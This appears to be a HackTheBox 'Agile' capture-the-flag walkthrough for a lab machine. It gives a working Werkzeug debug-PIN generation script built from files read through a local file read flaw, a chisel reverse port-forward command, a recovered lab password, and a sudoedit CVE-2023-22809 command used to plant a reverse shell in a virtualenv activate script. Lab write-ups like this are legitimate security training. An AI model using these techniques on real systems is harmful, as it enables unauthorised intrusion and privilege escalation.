HackTheBox — Agile

ARZ101
6 min readAug 4, 2023

Agile involved using Local File Read (LFR) to read the source files with debug mode enabled, allowing to access werkzeug console by reading files responsible for generating PIN, having access to the console, getting a shell as www-data and escalating to corum user by accessing the database to retrieve the password, further escalating to edwards by port forwarding Selenium port to inspect a testing page of the application, getting the password and finally escalating to root by abusing python virtual environment activation script through sudoedit (CVE 2023–22809).

NMAP

Nmap scan report for superpass.htb (10.10.11.203)                                                               
Host is up (0.12s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)
|_ 256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: SuperPassword \xF0\x9F\xA6\xB8
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Visiting the web server, it was redirecting to a domain, to adding superpass.htb in /etc/hosts file

On the login page, I tried the default credentials admin:admin for quick win but failed, tried sqli as well but that didn't worked as well

We can register an account on the site so let’s do that

Adding a password and then exporting it

We can intercept the request for this action to see how it’s exporting it

In the fn GET parameter, we can test for Local File Read

If we try reading a file which does not exist, it will show stack traces meaning that flask is running debug mode

If we see the debug errors, we can access the console by clicking on the terminal icon but it will access for the PIN,

Foothold

Since we can read local files, we can try to generate the PIN by reading specific files which are used for generating Werkzeug console PIN. So we first we must identify, with which user this application is running, we can read /proc/self/environ to verify that the application is running as www-data

Next we need is mac address from /sys/class/net/eth0/address

Reading /etc/machine-id

Reading /proc/self/cgroup

Having all the variables set in the script

#!/bin/python3
import hashlib
from itertools import chain
probably_public_bits = [
'www-data',# username
'flask.app',# modname
'wsgi_app',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'345052373872',
# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
'ed5b159560f54721827644bc9b220d00superpass.service'
]
h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print("Pin: " + rv)

Entering this pin on the prompt, we’ll get access to the console and can run commands to get a reverse shell

After having the shell, we can find the credentials to database

Privilege Escalation (Corum)

From passwords table we can find passwords along with username corum

On trying each of them, 5db7caa1d13cc37c9fc2 was the correct password for corum

Running pspy we can see this script gets executed with runner user

Looking at the test_and_update.sh file it’s running pytest in /app/app-testing

In /aap/app-testing/test/functioanl , there's a python file which is using selenium

Privilege Escalation (Edwards)

It’s opening cred.txt file and using remote debugging at port 41829 sending username and password through that txt file, so we need to attach our browser to this remote debugging that can be done through port forwarding with chisel, also adding test.superpass.htb in hosts file

chisel server -p 3333 --reverse
chisel client 10.10.14.83:3333 R:localhost:41829

In chrome browser we need to add the debugging port by going to chrome://inspect

After adding this, we’ll get a SuperPassword page to inspect

Going to the vault, it will show us two credentials

We can switch to edwards user with his password

Running sudo -l to see what permissions we have

This user can run sudoedit as dev_admin user, there exists a CVE for sudoedit (2023–22809) that allows you to edit files, searching for files owned by dev_admin to edit

find / -group "dev_admin" 2>/dev/null | grep -v '/proc'

activate file is owned by dev_admin group which is a script triggered on activating python virtual environment

We need to place a reverse shell in that file, so abusing sudoedit

EDITOR="nano -- /app/venv/bin/activate" sudo -u 'dev_admin' sudoedit /app/config_test.json

After editing, we need to wait for a while

References

--

--